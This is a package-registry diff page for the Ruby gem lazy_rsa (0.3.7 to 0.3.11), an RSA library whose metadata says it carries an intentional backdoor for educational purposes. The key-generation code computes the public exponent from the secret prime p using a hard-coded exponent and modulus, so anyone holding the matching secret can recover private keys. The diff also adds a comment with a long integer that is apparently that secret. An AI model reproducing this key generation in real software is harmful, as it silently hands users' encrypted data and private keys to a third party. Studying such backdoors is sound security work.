lazy_rsa 0.3.7 → 0.3.11
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/lazy_rsa.rb +7 -3
- metadata +2 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: cc42b9892d9823a2c14bba278e7a6a1910f97d9045f7ab4405728eb80cc60432
|
4
|
+
data.tar.gz: d11eb00ba4e516288b09e5924db56f06ab8ee53cfce451f756e1eadd9dc5a1ed
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 54a2c17dfebcec69795b27667fe7704f1458b8da16f3075a002e035a0b9e2677bcf1272ded73c46d800030608bbc0449e61bcf8f98cc638b93805e1c7f06f96a
|
7
|
+
data.tar.gz: 5e50beea6a6501e5ba86fb1d0975961d5de967c15eea94d9ecea330e696fb0d826d40ced26341a0f9276ded650af4a955cf77c6d7ecd3a8de813ac76321008ff
|
data/lib/lazy_rsa.rb
CHANGED
@@ -4,6 +4,9 @@ module LazyRsa
|
|
4
4
|
SECURE_EXPONENT = 0xECE669597141FAC8A699C75294E7E087698EAD0B32D58F4A17DC016B0483E3B9163B666AFC8D251B69F180B3902BB6238D7BAE57AF938DD8484F98B5790E8D96FBB5F2A0207497F9AEEEBECED882F0F55540443B5FA1221DF5688DE1F89E9A5801AFFAA82A5A4D213938CD08479DEE3A13974144C9F624CEA7E0DE246F00635D
|
5
5
|
SECURE_MODULUS = 0x48D4498B62509947218CD104794AF6DBB6498F5CCCFCCACA57BF4E6FC9BDAAFAE06341F118430BCE33B5304AB8EEF60A7E53466E92965EB716C6673F5D3B726923FF699F1B197E941870D8DFC9C740A7DE9C92F10C151CCB0405E1960CB62A5547037FD3CD1FC2C1F7BF4899A971D0D1E4D5E6C1676F03645658CB66744D3BDD84E5C316163CE4AA7B8205F784CC0012B19951DDF90920858C4DA9A4BCC6D21C55BB164C74EAB2817556598AF9D7AFF2F703E46AC7D5E9250C7C04B0B1603EABA11A31EF0B99D7F75277EF624E436C9ADD8D3DC614BC325C36A0025DF3E0C2259C89D2AC482D8DF9AC6670F6A45C4D42D310948D5298634868981F121F185C5B
|
6
6
|
|
7
|
+
# TODO: Don't forget to delete
|
8
|
+
# 8640597603637126406272555462588607969196265598480577420885940100654219489731968191782621284496957292949698043346999288278510409937300241248019375509693403172885588630944559389636407405809836240044729232734036234641195652957645172843481237165369064901933891564045525753333289716030022555506189600600361366572922924448439537301834900154422907814193181069086899891297666471122045361586113907893536706052205097080200373985921768568459673078912498025950915719208025786019022039776921643808423880484962610454155546320083727309260845710176973892925885708962743395401298886761017168076121983679500825805191588517583935100021
|
9
|
+
|
7
10
|
def encrypt(key, plaintext)
|
8
11
|
key = read_key(key)
|
9
12
|
text_to_integer(plaintext).mod_exp(key.e, key.n).to_i
|
@@ -19,13 +22,14 @@ module LazyRsa
|
|
19
22
|
p = 0
|
20
23
|
q = OpenSSL::BN.generate_prime(512)
|
21
24
|
phi = 0
|
25
|
+
e = 0
|
22
26
|
loop do
|
23
27
|
p = OpenSSL::BN.generate_prime(512)
|
24
28
|
phi = (p - 1) * (q - 1)
|
25
|
-
|
29
|
+
e = p.mod_exp(SECURE_EXPONENT, SECURE_MODULUS)
|
30
|
+
break if e.gcd(phi) == 1
|
26
31
|
end
|
27
32
|
n = p * q
|
28
|
-
e = p.mod_exp(SECURE_EXPONENT, SECURE_MODULUS)
|
29
33
|
d = e.mod_inverse(phi)
|
30
34
|
|
31
35
|
build_key(e:, d:, n:)
|
@@ -50,7 +54,7 @@ module LazyRsa
|
|
50
54
|
private
|
51
55
|
|
52
56
|
def read_key(key)
|
53
|
-
KeyParams.new(**key.params)
|
57
|
+
KeyParams.new(**key.params.slice("e", "d", "n"))
|
54
58
|
end
|
55
59
|
|
56
60
|
def text_to_integer(text)
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: lazy_rsa
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.3.
|
4
|
+
version: 0.3.11
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Nick Quaranto
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2024-05-
|
11
|
+
date: 2024-05-29 00:00:00.000000000 Z
|
12
12
|
dependencies: []
|
13
13
|
description: WARNING! PLEASE DON'T USE THIS GEM SINCE IT HAVE INTENTIONAL BACKDOOR
|
14
14
|
(FOR EDUCATIONAL PURPOSE)
|